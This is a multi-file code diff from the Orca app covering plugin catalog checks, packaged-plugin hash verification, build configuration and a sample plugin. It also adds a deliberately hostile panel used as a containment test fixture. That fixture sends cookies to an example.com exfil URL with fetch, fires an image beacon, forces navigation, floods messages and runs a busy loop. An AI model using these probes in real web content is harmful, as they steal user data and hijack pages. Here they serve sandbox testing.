`${pad(row.chunk, 9)} ${pad(`${row.carry.toFixed(1)}x`, 12)} ${pad(`${row.path.toFixed(1)}x`, 15)} ${pad(`${row.fragment.toFixed(2)}x`, 15)}`
)
}
console.log(
'\ncarry only = the scan this change bounds, in isolation.\n' +
'detector path = includes() + carry, i.e. what the PTY hot path actually saves.\n' +
'fragment tail = chunk ending mid-scheme, where the new code pays an extra\n' +
' bounded probe. ~1x means the fallback costs nothing material.'
)
+66 -2
View File
@@ -385,15 +385,79 @@ function verifyLocaleParity(enCatalog, localeName, localeCatalog) {
}
function parseArgs(argv) {
return {
fix: argv.includes('--fix')
const pluginCatalogs = []
for (let index = 0; index < argv.length; index += 1) {
const argument = argv[index]
if (argument === '--plugin-catalog') {
const catalogPath = argv[index + 1]
if (!catalogPath || catalogPath.startsWith('--')) {
throw new Error('--plugin-catalog requires a JSON catalog path')
}
pluginCatalogs.push(catalogPath)
index += 1
} else if (argument.startsWith('--plugin-catalog=')) {
pluginCatalogs.push(argument.slice('--plugin-catalog='.length))
}
}
return {
fix: argv.includes('--fix'),
pluginCatalogs
}
}
async function reportPluginCatalog(root, catalog, pluginCatalogPath) {
const resolvedPath = path.resolve(root, pluginCatalogPath)
let pluginCatalog
try {
pluginCatalog = JSON.parse(await fs.readFile(resolvedPath, 'utf8'))
} catch (error) {
console.error(
`Could not read plugin catalog ${normalizePath(root, resolvedPath)}: ${error instanceof Error ? error.message : String(error)}`
)
return 1
}
const { enEntries, localeEntries, missingInLocale, extraInLocale, interpolationMismatches } =
collectLocaleParityIssues(catalog, pluginCatalog)
const translated = enEntries.size - missingInLocale.length - interpolationMismatches.length
const coverage = enEntries.size === 0 ? 100 : (translated / enEntries.size) * 100
console.log(
`Plugin catalog ${normalizePath(root, resolvedPath)}: ${translated}/${enEntries.size} core keys (${coverage.toFixed(1)}% coverage), ${localeEntries.size} catalog entries.`
)
if (missingInLocale.length > 0) {
console.log(formatMissingKeys('missing', missingInLocale.slice(0, 20)))
if (missingInLocale.length > 20) {
console.log(`...and ${missingInLocale.length - 20} more missing keys`)
}
}
if (extraInLocale.length > 0) {
console.log(formatMissingKeys('extra', extraInLocale.slice(0, 20)))
}
if (interpolationMismatches.length > 0) {
console.log(formatMissingKeys('interpolation mismatch', interpolationMismatches.slice(0, 20)))
}
// Why: absent plugin translations safely fall back to English, but a present
// value with different variables can render broken or misleading UI.
return interpolationMismatches.length > 0 ? 1 : 0
}
export async function main(root = process.cwd(), options = parseArgs(process.argv.slice(2))) {
const localesDir = path.join(root, LOCALES_RELATIVE_DIR)
const catalogPath = path.join(localesDir, 'en.json')
const catalog = JSON.parse(await fs.readFile(catalogPath, 'utf8'))
const pluginCatalogs = options.pluginCatalogs ?? []
if (pluginCatalogs.length > 0) {
if (options.fix) {
console.error('--fix cannot be combined with --plugin-catalog')
return 1
}
for (const pluginCatalogPath of pluginCatalogs) {
const result = await reportPluginCatalog(root, catalog, pluginCatalogPath)
if (result !== 0) {
return result
}
}
return 0
}
let catalogKeys = new Set(flattenCatalogKeys(catalog))
const sourceRoots = SOURCE_RELATIVE_ROOTS.map((sourceRoot) => path.join(root, sourceRoot))
const references = []
@@ -2,7 +2,7 @@ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import path from 'node:path'
import { describe, expect, it } from 'vitest'
import { describe, expect, it, vi } from 'vitest'
import { main as verifyLocalizationCatalog } from './verify-localization-catalog.mjs'
@@ -79,4 +79,34 @@ describe('verify-localization-catalog', () => {
await expect(verifyLocalizationCatalog(root, { fix: true })).resolves.toBe(1)
expect(readJson(path.join(localesDir, 'en.json'))).toEqual({})
})
it('reports partial plugin catalog gaps but rejects malformed interpolation', async () => {
const { root } = makeProject({
sourceText: 'export {}\n',
enCatalog: {
auto: { first: 'First {{name}}', second: 'Second' }
},
esCatalog: {
auto: { first: 'Primero {{name}}', second: 'Segundo' }
}
})
const pluginCatalogPath = path.join(root, 'plugin-locale.json')
writeJson(pluginCatalogPath, {
auto: { first: 'Primeiro {{wrongName}}', pluginOnly: 'Plugin only' }
})
const report = vi.spyOn(console, 'log').mockImplementation(() => undefined)
try {
await expect(
verifyLocalizationCatalog(root, {
fix: false,
pluginCatalogs: [pluginCatalogPath]
})
).resolves.toBe(1)
expect(report).toHaveBeenCalledWith(expect.stringContaining('0/2 core keys'))
expect(report).toHaveBeenCalledWith(expect.stringContaining('interpolation mismatch'))
} finally {
report.mockRestore()
}
})
})
@@ -0,0 +1,111 @@
const { createHash } = require('node:crypto')
const { lstatSync, readFileSync, readdirSync, statSync } = require('node:fs')
const { isAbsolute, join, relative, resolve, sep } = require('node:path')
const MAX_PLUGIN_FILES = 2_000
const MAX_PLUGIN_TOTAL_BYTES = 50 * 1024 * 1024
function hashLength(hash, length) {
const framedLength = Buffer.allocUnsafe(8)
framedLength.writeBigUInt64BE(BigInt(length))
hash.update(framedLength)
}
function hashPackagedPluginTree(root) {
const files = []
let entriesVisited = 0
let totalBytes = 0
const visit = (directory) => {
const entries = readdirSync(directory, { withFileTypes: true }).sort((left, right) =>
left.name < right.name ? -1 : left.name > right.name ? 1 : 0
)
for (const entry of entries) {
if (directory === root && entry.name === '.git') {
continue
}
const entryPath = join(directory, entry.name)
const metadata = lstatSync(entryPath)
entriesVisited += 1
if (entriesVisited > MAX_PLUGIN_FILES) {
throw new Error(`plugin exceeds the ${MAX_PLUGIN_FILES}-entry limit`)
}
if (metadata.isSymbolicLink()) {
throw new Error(`packaged plugin contains a symlink: ${relative(root, entryPath)}`)
}
if (metadata.isDirectory()) {
visit(entryPath)
} else if (metadata.isFile()) {
totalBytes += metadata.size
if (totalBytes > MAX_PLUGIN_TOTAL_BYTES) {
throw new Error(`plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit`)
}
files.push({ path: entryPath, size: metadata.size })
} else {
throw new Error(`packaged plugin contains an unsupported entry: ${entryPath}`)
}
}
}
visit(root)
const hash = createHash('sha256').update('orca-plugin-tree-v1\0')
for (const file of files) {
const relativePath = relative(root, file.path).replaceAll('\\', '/')
hashLength(hash, Buffer.byteLength(relativePath, 'utf8'))
hash.update(relativePath, 'utf8')
hashLength(hash, file.size)
hash.update(readFileSync(file.path))
}
return hash.digest('hex')
}
function readJsonFile(path, label) {
try {
return JSON.parse(readFileSync(path, 'utf8'))
} catch (error) {
throw new Error(
`[verify-packaged-plugin-resources] invalid ${label} at ${path}: ${error instanceof Error ? error.message : String(error)}`
)
}
}
function verifyPackagedPluginResources(resourcesDir) {
const launchRoot = join(resourcesDir, 'plugins', 'launch')
if (!statSync(launchRoot).isDirectory()) {
throw new Error(`[verify-packaged-plugin-resources] missing launch directory at ${launchRoot}`)
}
const index = readJsonFile(join(launchRoot, 'bundled-plugins.json'), 'bundled plugin index')
readJsonFile(join(launchRoot, 'orca-marketplace.json'), 'marketplace index')
if (index?.version !== 1 || !Array.isArray(index.plugins) || index.plugins.length === 0) {
throw new Error('[verify-packaged-plugin-resources] bundled plugin index is empty or invalid')
}
const resolvedRoot = resolve(launchRoot)
for (const entry of index.plugins) {
if (
typeof entry?.pluginKey !== 'string' ||
typeof entry.path !== 'string' ||
!/^[0-9a-f]{64}$/.test(entry.contentHash)
) {
throw new Error('[verify-packaged-plugin-resources] bundled plugin entry is invalid')
}
const pluginRoot = resolve(launchRoot, entry.path)
const fromRoot = relative(resolvedRoot, pluginRoot)
if (!fromRoot || fromRoot === '..' || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot)) {
throw new Error('[verify-packaged-plugin-resources] bundled plugin path escapes launch root')
}
const manifest = readJsonFile(join(pluginRoot, 'orca-plugin.json'), 'plugin manifest')
if (`${manifest.publisher}.${manifest.id}` !== entry.pluginKey) {
throw new Error(
`[verify-packaged-plugin-resources] manifest identity does not match ${entry.pluginKey}`
)
}
if (hashPackagedPluginTree(pluginRoot) !== entry.contentHash) {
throw new Error(
`[verify-packaged-plugin-resources] packaged bytes do not match ${entry.pluginKey}`
)
}
}
console.log(
`[verify-packaged-plugin-resources] OK — verified ${index.plugins.length} bundled plugin(s)`
)
}
module.exports = { verifyPackagedPluginResources }
@@ -0,0 +1,77 @@
import { cp, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
import { createRequire } from 'node:module'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { describe, expect, it } from 'vitest'
const require = createRequire(import.meta.url)
const { verifyPackagedPluginResources } = require('./verify-packaged-plugin-resources.cjs')
describe('verify packaged plugin resources', () => {
it('accepts exact launch bytes copied into a packaged resources directory', async () => {
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
try {
await cp(
join(process.cwd(), 'resources', 'plugins', 'launch'),
join(resourcesDir, 'plugins', 'launch'),
{ recursive: true }
)
expect(() => verifyPackagedPluginResources(resourcesDir)).not.toThrow()
} finally {
await rm(resourcesDir, { recursive: true, force: true })
}
})
it('rejects mutated bytes in the packaged output', async () => {
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
try {
const launchRoot = join(resourcesDir, 'plugins', 'launch')
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
recursive: true
})
await writeFile(
join(launchRoot, 'stablyai.orca-navigation-shortcuts', 'extra.json'),
'{"mutated":true}\n'
)
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
'packaged bytes do not match stablyai.orca-navigation-shortcuts'
)
} finally {
await rm(resourcesDir, { recursive: true, force: true })
}
})
// The tree is hashed by raw bytes, so a CRLF checkout on Windows breaks the
// pinned hash. These two guard the `.gitattributes` eol=lf pin that prevents it.
it('pins the launch tree to LF so Windows checkouts hash identically', async () => {
const attributes = await readFile(join(process.cwd(), '.gitattributes'), 'utf8')
expect(attributes).toContain('/resources/plugins/** text eol=lf')
})
it('rejects a CRLF checkout of the launch tree', async () => {
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
try {
const launchRoot = join(resourcesDir, 'plugins', 'launch')
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
recursive: true
})
for (const entry of await readdir(launchRoot, { recursive: true })) {
const path = join(launchRoot, entry)
if (!(await stat(path)).isFile()) {
continue
}
await writeFile(path, (await readFile(path, 'utf8')).replace(/\r?\n/g, '\r\n'))
}
// Every file is rewritten, so the first mismatch is whichever plugin sorts
// first — don't pin a name a later branch can reorder.
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
/packaged bytes do not match stablyai\./
)
} finally {
await rm(resourcesDir, { recursive: true, force: true })
}
})
})
+1
View File
@@ -41,6 +41,7 @@
"../src/main/codex/config-settings-baseline.ts",
"../src/main/codex/config-settings-conflict-resolution.ts",
"../src/main/codex/config-settings-promotion.ts",
"../src/main/codex/config-sync-stall.ts",
"../src/main/codex/config-toml-deprecated-hook-flag.ts",
"../src/main/codex/config-toml-key-path.ts",
"../src/main/codex/config-toml-line-scan.ts",
+7 -7
View File
@@ -1,21 +1,21 @@
<svg xmlns="http://www.w3.org/2000/svg" width="113" height="20" role="img" aria-label="downloads: 9.6m">
<title>downloads: 9.6m</title>
<svg xmlns="http://www.w3.org/2000/svg" width="106" height="20" role="img" aria-label="downloads: 11m">
<title>downloads: 11m</title>
<linearGradient id="s" x2="0" y2="100%">
<stop offset="0" stop-color="#bbb" stop-opacity=".1"/>
<stop offset="1" stop-opacity=".1"/>
</linearGradient>
<clipPath id="r">
<rect width="113" height="20" rx="3"/>
<rect width="106" height="20" rx="3"/>
</clipPath>
<g clip-path="url(#r)">
<rect width="74" height="20" fill="#555"/>
<rect x="74" width="39" height="20" fill="#4c1"/>
<rect width="113" height="20" fill="url(#s)"/>
<rect x="74" width="32" height="20" fill="#4c1"/>
<rect width="106" height="20" fill="url(#s)"/>
</g>
<g fill="#fff" text-anchor="middle" font-family="Verdana,Geneva,DejaVu Sans,sans-serif" text-rendering="geometricPrecision" font-size="11">
<text x="37" y="15" fill="#010101" fill-opacity=".3">downloads</text>
<text x="37" y="14">downloads</text>
<text x="93.5" y="15" fill="#010101" fill-opacity=".3">9.6m</text>
<text x="93.5" y="14">9.6m</text>
<text x="90" y="15" fill="#010101" fill-opacity=".3">11m</text>
<text x="90" y="14">11m</text>
</g>
</svg>

Before

Width:  |  Height:  |  Size: 943 B

After

Width:  |  Height:  |  Size: 935 B

File diff suppressed because it is too large Load Diff
@@ -0,0 +1,54 @@
# Resource Manager memory metrics
Resource Manager reports two different kinds of memory data. Process totals describe Orca and
locally managed terminal processes; host totals describe the machine running Orca. They are not
interchangeable.
## Process memory
Each snapshot declares one `processMemoryMetric`:
| Platform | Metric | Source |
| ------------ | ------------- | ---------------------------------------------------------- |
| macOS, Linux | `rss` | `ps` resident set size |
| Windows | `working-set` | CIM `WorkingSetSize`, with a Typeperf working-set fallback |
Orca walks each registered local PTY subtree and claims every PID at most once. App, session,
worktree, history, and snapshot memory values are sums of those per-process samples.
RSS and working set are not unique physical-memory measurements. Shared pages can appear in more
than one process, and macOS can count the same resident page through multiple mappings in one
process. A sum can therefore exceed physical RAM. Product copy and diagnostics must identify the
metric as a sum and must not present it as a percentage of system RAM.
Remote SSH and relay sessions do not receive invented local samples. They remain unavailable until
the executing host supplies resource data. Folder workspaces use the same registered-PTY
attribution as Git worktrees.
## Host memory
`HostMemory` keeps immediate free memory separate from memory available without material pressure:
- `freeMemory` is Node's host free-memory value.
- `availableMemory` is the best bounded platform value.
- `usedMemory` is `totalMemory - availableMemory`.
- `memoryUsagePercent` is derived from `usedMemory`.
- `availableMemorySource` identifies how availability was measured.
The sources are:
| Platform | Preferred source | Fallback |
| -------- | ----------------------------------------- | ---------------- |
| macOS | `memory_pressure -Q` available percentage | Node free memory |
| Linux | `/proc/meminfo` `MemAvailable` | Node free memory |
| Windows | Node free memory | Node free memory |
This percentage describes host availability. It is not derived from the summed process metric.
## Bounded collection
Resource Manager polls while its popover is open, so every snapshot must remain bounded under a
large process tree. macOS `footprint` provides a more physical process metric, but collecting it
across dozens of processes is too expensive for this path. A future physical-footprint backend
must use a bounded host API or helper and declare a distinct metric before product copy treats it
as physical memory.
+40 -4
View File
@@ -1,8 +1,24 @@
import { isBuiltin } from 'node:module'
import { resolve } from 'node:path'
import { defineConfig } from 'electron-vite'
import { defineConfig, type UserConfig } from 'electron-vite'
import react from '@vitejs/plugin-react'
import tailwindcss from '@tailwindcss/vite'
import { createPlainNodeEntryGuardPlugin } from './build-plugins/plain-node-entry-guard'
import packageJson from './package.json' with { type: 'json' }
const BUNDLED_MAIN_DEPENDENCIES = new Set(['@xterm/headless', '@xterm/addon-serialize'])
const EXTERNAL_MAIN_DEPENDENCIES = Object.keys(packageJson.dependencies).filter(
(dependency) => !BUNDLED_MAIN_DEPENDENCIES.has(dependency)
)
function isExternalMainModule(source: string): boolean {
if (isBuiltin(source) || source === 'electron' || source.startsWith('electron/')) {
return true
}
return EXTERNAL_MAIN_DEPENDENCIES.some(
(dependency) => source === dependency || source.startsWith(`${dependency}/`)
)
}
// Why: the telemetry transport is gated by two compile-time constants that
// only the official CI release workflow sets. Contributor / `pnpm dev` /
@@ -165,7 +181,7 @@ function createStartupDiagnosticsBootstrapPlugin() {
}
}
export default defineConfig({
export const electronViteConfig: UserConfig = {
main: {
build: {
// Why: daemon-entry.js is asar-unpacked so child_process.fork() can
@@ -176,9 +192,13 @@ export default defineConfig({
exclude: ['@xterm/headless', '@xterm/addon-serialize']
},
rollupOptions: {
// Why: native dependencies must resolve from packaged node_modules,
// while the unpacked daemon needs its pure-JS xterm graph bundled.
external: isExternalMainModule,
input: {
index: resolve('src/main/index.ts'),
'daemon-entry': resolve('src/main/daemon/daemon-entry.ts'),
'plugin-host-entry': resolve('src/main/plugins/plugin-host-entry.ts'),
'computer-sidecar': resolve('src/main/computer/sidecar-entry.ts'),
'stt-worker': resolve('src/main/speech/stt-worker.ts'),
'warp-theme-parser-worker': resolve('src/main/warp-themes/warp-theme-parser-worker.ts'),
@@ -200,6 +220,13 @@ export default defineConfig({
'src/main/agent-hooks/managed-agent-hook-controls.ts'
)
},
// Why: Rolldown's SSR default is ESM, but Electron and sidecar launchers
// consume these stable CommonJS paths.
output: {
format: 'cjs',
entryFileNames: '[name].js',
chunkFileNames: 'chunks/[name]-[hash].js'
},
plugins: [createStartupDiagnosticsBootstrapPlugin(), createPlainNodeEntryGuardPlugin()]
}
},
@@ -241,17 +268,26 @@ export default defineConfig({
format: 'es'
},
build: {
manifest: true,
modulePreload: { polyfill: true },
target: 'es2020',
// Why: the pop-out dashboard is a second top-level window with its own
// React root. It gets its own HTML entry so it can boot independently of
// the main window while reusing the same preload/window.api. `index` must
// stay listed — overriding input otherwise drops electron-vite's default
// renderer entry.
rollupOptions: {
// Why: shared chunks must never import an HTML entry whose module mounts
// a different React root.
preserveEntrySignatures: 'strict',
input: {
index: resolve('src/renderer/index.html'),
popout: resolve('src/renderer/popout.html')
popout: resolve('src/renderer/popout.html'),
web: resolve('src/renderer/web-index.html')
}
}
}
}
})
}
export default defineConfig(electronViteConfig)
+24
View File
@@ -0,0 +1,24 @@
// Sample Orca plugin worker entry. Runs inside the out-of-process plugin
// worker (plain Node, no Electron), forked lazily on the first trigger. The
// default export receives the `orca` API: command registration, event
// handlers, and the capability-gated host API.
export default function activate(orca) {
orca.commands.register('hello-ping', async (args) => {
const stored = await orca.host.call('storage.get', { key: 'pings' })
const count = (typeof stored?.value === 'number' ? stored.value : 0) + 1
await orca.host.call('storage.set', { key: 'pings', value: count })
return { pong: true, count, args: args ?? null }
})
orca.events.on('worktree.created', async (payload) => {
orca.log(`worktree created: ${payload.worktreeId} at ${payload.path}`)
await orca.host.call('notifications.show', {
title: 'Worktree created',
body: payload.path
})
})
orca.events.on('agent.status.changed', (payload) => {
orca.log(`agent status: ${payload.state} in ${payload.worktreeId ?? 'unknown worktree'}`)
})
}
@@ -0,0 +1,23 @@
{
"manifestVersion": 1,
"id": "hello-orca",
"publisher": "orca-samples",
"name": "Hello Orca",
"version": "1.0.0",
"description": "Sample plugin combining a sandboxed panel, a worker command, and event subscriptions.",
"engines": { "orca": ">=1.4.0" },
"pluginApi": 1,
"main": "main.mjs",
"contributes": {
"panels": [{ "id": "hello", "title": "Hello Orca", "icon": "plug", "entry": "panel.html" }],
"commands": [{ "id": "hello-ping", "title": "Hello: Ping" }],
"events": [{ "on": "worktree.created" }, { "on": "agent.status.changed" }]
},
"capabilities": [
{ "kind": "workspace:read" },
{ "kind": "terminal:send" },
{ "kind": "notifications:show" },
{ "kind": "storage" },
{ "kind": "events:subscribe" }
]
}
+125
View File
@@ -0,0 +1,125 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<style>
/* The host injects Orca design tokens as CSS custom properties, so
panels can match the app without any access to it. */
body {
margin: 0;
padding: 12px;
font-family: system-ui, sans-serif;
font-size: 13px;
color: var(--foreground, #ddd);
background: var(--background, transparent);
}
h1 {
font-size: 14px;
margin: 0 0 8px;
}
button {
display: block;
margin: 6px 0;
padding: 6px 10px;
border: 1px solid var(--border, #555);
border-radius: 6px;
background: var(--secondary, #2a2a2a);
color: var(--foreground, #ddd);
cursor: pointer;
font: inherit;
}
select {
margin: 6px 0;
max-width: 100%;
}
.status {
margin-top: 10px;
min-height: 1.4em;
color: var(--muted-foreground, #999);
white-space: pre-wrap;
}
</style>
</head>
<body>
<h1>Hello Orca 👋</h1>
<p>Panel + worker command + events, gated by consent.</p>
<button id="ctx">Read workspace context</button>
<select id="terms" hidden></select>
<button id="send" hidden>Type "echo hi from plugin" into selected terminal</button>
<button id="notify">Show a notification</button>
<p class="status" id="status"></p>
<script>
'use strict'
var seq = 0
var pending = {}
var statusEl = document.getElementById('status')
var termsEl = document.getElementById('terms')
function call(action, params) {
return new Promise(function (resolve) {
var requestId = 'req-' + ++seq
pending[requestId] = resolve
// The panel frame is an opaque origin, so '*' is the only usable
// targetOrigin; the host verifies the sending window instead.
window.parent.postMessage(
{ type: 'orca-panel-action', requestId: requestId, action: action, params: params },
'*'
)
})
}
window.addEventListener('message', function (event) {
var data = event.data
if (!data || data.type !== 'orca-panel-action-result') return
var resolve = pending[data.requestId]
if (!resolve) return
delete pending[data.requestId]
resolve(data)
})
document.getElementById('ctx').addEventListener('click', function () {
call('workspace.readContext').then(function (result) {
if (!result.ok) {
statusEl.textContent = 'context failed: ' + (result.error || result.errorCode)
return
}
if (!result.value) {
statusEl.textContent = 'no focused worktree'
return
}
statusEl.textContent = result.value.displayName + ' on branch ' + result.value.branch
termsEl.innerHTML = ''
result.value.terminals.forEach(function (terminal) {
var option = document.createElement('option')
option.value = terminal.id
option.textContent = terminal.id
termsEl.appendChild(option)
})
termsEl.hidden = result.value.terminals.length === 0
document.getElementById('send').hidden = result.value.terminals.length === 0
})
})
document.getElementById('send').addEventListener('click', function () {
// Explicit terminal id — the API has no "active terminal" target.
call('terminal.sendText', {
terminalId: termsEl.value,
text: 'echo hi from plugin',
enter: true
}).then(function (result) {
statusEl.textContent = result.ok
? 'typed (accepted=' + result.value.accepted + ')'
: 'send failed: ' + (result.error || result.errorCode)
})
})
document.getElementById('notify').addEventListener('click', function () {
call('notifications.show', { title: 'Hello from the panel' }).then(function (result) {
statusEl.textContent = result.ok
? 'notification delivered=' + result.value.delivered
: 'notify failed: ' + (result.error || result.errorCode)
})
})
</script>
</body>
</html>
@@ -0,0 +1,16 @@
{
"manifestVersion": 1,
"id": "hostile-panel",
"publisher": "orca-samples",
"name": "Hostile Panel (security fixture)",
"version": "1.0.0",
"description": "Deliberately hostile panel used by the plugin containment tests: exfiltration, navigation, message floods, busy loops. Never grant it anything.",
"engines": { "orca": ">=1.4.0" },
"pluginApi": 1,
"contributes": {
"panels": [
{ "id": "hostile", "title": "Hostile Fixture", "icon": "bug", "entry": "panel.html" }
]
},
"capabilities": []
}
+206
View File
@@ -0,0 +1,206 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<!-- Security test fixture: every attempt below MUST be contained by the
host-injected CSP, the iframe sandbox, and the bridge budgets. Each
probe reports pass/fail into the DOM so the containment run is
directly observable in the panel. -->
</head>
<body>
<h1>Hostile panel fixture</h1>
<ul id="results"></ul>
<button id="bridge">Run bridge budget probes</button>
<button id="navigate-top">Try top navigation</button>
<button id="navigate-self">Try self navigation</button>
<button id="navigate-anchor-form">Try anchor and form navigation</button>
<button id="navigate-meta">Try meta refresh navigation</button>
<button id="busy">Enter busy loop (watchdog probe)</button>
<script>
'use strict'
// The main-process guard must bind the frame before plugin parsing.
window.name = ''
var results = document.getElementById('results')
function report(name, contained, detail) {
if (document.querySelector('[data-probe="' + name + '"]')) return
var li = document.createElement('li')
li.dataset.probe = name
li.dataset.contained = contained ? 'true' : 'false'
li.textContent =
name + ': ' + (contained ? 'CONTAINED' : 'ESCAPED') + (detail ? ' — ' + detail : '')
results.appendChild(li)
document.title = 'probes:' + results.children.length
}
// Probe 1: fetch() exfiltration — must be blocked by connect-src 'none'.
var cookieValue = 'x'
try {
cookieValue = document.cookie || 'x'
} catch (_) {
// Opaque-origin frames may reject cookie access before CSP runs.
}
fetch('https://example.com/exfil?d=' + encodeURIComponent(cookieValue))
.then(function () {
report('fetch-exfil', false, 'request succeeded')
})
.catch(function () {
report('fetch-exfil', true)
})
// Probe 2: <img> beacon — must be blocked by img-src data: only.
var img = new Image()
var settled = false
img.onload = function () {
if (!settled) {
settled = true
report('img-beacon', false, 'image loaded')
}
}
img.onerror = function () {
if (!settled) {
settled = true
report('img-beacon', true)
}
}
img.src = 'https://example.com/beacon.gif'
setTimeout(function () {
if (!settled) {
settled = true
report('img-beacon', true, 'no load event')
}
}, 3000)
// Navigation probes are opt-in so a failed attempt cannot erase the
// network and bridge evidence before the harness observes it.
document.getElementById('navigate-top').addEventListener('click', function () {
try {
window.top.location.href = 'https://example.com/'
setTimeout(function () {
report('top-navigation', window.top !== window)
}, 0)
} catch (error) {
report('top-navigation', true, error.name)
}
})
document.getElementById('navigate-self').addEventListener('click', function () {
try {
window.location.href = 'https://example.com/self-navigation'
setTimeout(function () {
report('self-navigation', true)
}, 0)
} catch (error) {
report('self-navigation', true, error.name)
}
})
document.getElementById('navigate-anchor-form').addEventListener('click', function () {
var anchor = document.createElement('a')
anchor.href = 'https://example.com/anchor-navigation'
anchor.textContent = 'Navigation probe'
document.body.appendChild(anchor)
anchor.click()
var form = document.createElement('form')
form.action = 'https://example.com/form-navigation'
document.body.appendChild(form)
form.requestSubmit()
setTimeout(function () {
report('anchor-form-navigation', true)
}, 0)
})
document.getElementById('navigate-meta').addEventListener('click', function () {
var refresh = document.createElement('meta')
refresh.httpEquiv = 'refresh'
refresh.content = '0;url=https://example.com/meta-refresh'
document.head.appendChild(refresh)
setTimeout(function () {
report('meta-refresh-navigation', true)
}, 0)
})
// Probe 7: an oversized valid-looking call must receive a real refusal.
window.addEventListener('message', function (event) {
var data = event.data
if (event.source !== window.parent || !data || data.type !== 'orca-panel-action-result') {
return
}
if (data.requestId === 'oversized-probe') {
report(
'oversized-message',
!data.ok && data.errorCode === 'invalid_request',
data.errorCode || 'unexpected success'
)
}
if (data.requestId === 'flood-result') {
report(
'message-flood',
!data.ok && data.errorCode === 'rate_limited',
data.errorCode || 'unexpected success'
)
}
})
document.getElementById('bridge').addEventListener('click', function () {
window.parent.postMessage(
{
type: 'orca-panel-action',
requestId: 'oversized-probe',
action: 'workspace.readContext',
params: { padding: 'x'.repeat(128 * 1024) }
},
'*'
)
setTimeout(function () {
report('oversized-message', false, 'host sent no refusal')
}, 2000)
// Probe 8: invalid, pong, and binary floods must all spend rate budget
// before parsing; the final valid call is the observable oracle.
setTimeout(function () {
for (var i = 0; i < 40; i++) {
var payload =
i % 3 === 0
? { type: 'orca-panel-pong', pingId: i }
: i % 3 === 1
? { type: 'invalid-hostile-message', sequence: i }
: new Uint8Array(2048)
window.parent.postMessage(payload, '*')
}
window.parent.postMessage(
{
type: 'orca-panel-action',
requestId: 'flood-result',
action: 'workspace.readContext',
params: {}
},
'*'
)
setTimeout(function () {
report('message-flood', false, 'host sent no rate-limit refusal')
}, 2000)
}, 150)
})
// Probe 9: opt-in busy loop. The watchdog should demote the panel while
// Chromium keeps the sandboxed frame in its isolated renderer process.
function enterBusyLoop() {
report('busy-loop', true, 'watchdog should suspend this panel')
while (true) {
// Deliberately hostile fixture.
}
}
document.getElementById('busy').addEventListener('click', enterBusyLoop)
window.addEventListener('message', function (event) {
if (
event.source === window.parent &&
event.data &&
event.data.type === 'orca-hostile-busy-probe'
) {
enterBusyLoop()
}
})
</script>
</body>
</html>
+13
View File
@@ -181,6 +181,19 @@ pnpm mock-server # starts mock WebSocket server on port 6768
Connect from the app using endpoint `ws://localhost:6768` and token `mock-device-token`.
### Environment variables
- `MOCK_NATIVE_CHAT=1` — serve the native-chat scenario (one live agent tab, empty transcript, image upload) instead of the default terminal fixtures.
- `MOCK_SERVER_KEY_FILE` — persist the server keypair across restarts so a paired device keeps its public-key pin. A missing or invalid file is re-keyed with a warning, which forces a re-pair.
### Scenario control files
Read on every request, so behaviour can be flipped mid-session without a restart (a restart would re-key E2EE and force a re-pair). Write the mode into the file, or delete it for the default.
- `MOCK_SEND_MODE_FILE` (default `orca-mock-send-mode` in the system temporary directory) — `accept` (default) accepts the send, `error` fails it with `mobile_input_floor_unavailable`, anything else reports the send as rejected.
- `MOCK_TERMINAL_LIST_MODE_FILE` (default `orca-mock-terminal-list-mode` in the system temporary directory) — `omit` returns an empty terminal list, `other` returns a list that omits the chat handle, anything else lists it.
- `MOCK_TERMINAL_STREAM_MODE_FILE` (default `orca-mock-terminal-stream-mode` in the system temporary directory) — `dead` answers a subscribe with `subscribed` then `end` (a gone PTY), which is what exercises the rearm bound and terminal prune; anything else streams normally.
## Connecting to Real Orca
1. Start Orca desktop with WebSocket transport enabled
+2 -2
View File
@@ -2,7 +2,7 @@
"expo": {
"name": "Orca",
"slug": "orca-mobile",
"version": "0.0.32",
"version": "0.0.36",
"orientation": "default",
"icon": "./assets/icon.png",
"userInterfaceStyle": "automatic",
@@ -75,7 +75,7 @@
"allowBackup": false,
"permissions": ["RECORD_AUDIO", "MODIFY_AUDIO_SETTINGS"],
"package": "com.stably.orca.mobile",
"versionCode": 8
"versionCode": 9
},
"plugins": [
"expo-router",
+109 -72
View File
@@ -72,6 +72,10 @@ import {
shouldShowSessionHeaderChecksAction,
panelRouteDescriptor
} from '../../../../src/session/session-panel-host'
import {
createBulkCloseSheetActions,
createCloseWithBulkActions
} from '../../../../src/session/mobile-bulk-close-sheet-actions'
import { useMobilePrBranchContext } from '../../../../src/session/use-mobile-pr-branch-context'
import { isFloatingWorkspaceWorktreeId } from '../../../../src/session/floating-workspace'
import { SessionDockColumn } from '../../../../src/session/SessionDockColumn'
@@ -207,9 +211,15 @@ import { MobileBrowserTabActionSheet } from '../../../../src/session/MobileBrows
import { useMobileNativeChatController } from '../../../../src/session/use-mobile-native-chat-controller'
import { useMobileNativeChatReadability } from '../../../../src/session/use-mobile-native-chat-readability'
import { useMobileNativeChatInputLease } from '../../../../src/session/use-mobile-native-chat-input-lease'
import { useMobileNativeChatSendError } from '../../../../src/session/use-mobile-native-chat-send-error'
import { getMobileTerminalActionSheetActions } from '../../../../src/session/mobile-terminal-action-sheet-actions'
import * as nativeChatTerminalStream from '../../../../src/session/mobile-native-chat-terminal-stream'
import { mobileNativeChatScopeKey } from '../../../../src/session/mobile-native-chat-scope-key'
import {
createTerminalPrunePredicate,
pruneTerminalKeyboardMetrics,
resolveRetainedTerminalHandles
} from '../../../../src/session/mobile-terminal-prune-decision'
import { useMobileNativeChatTerminalStream } from '../../../../src/session/use-mobile-native-chat-terminal-stream'
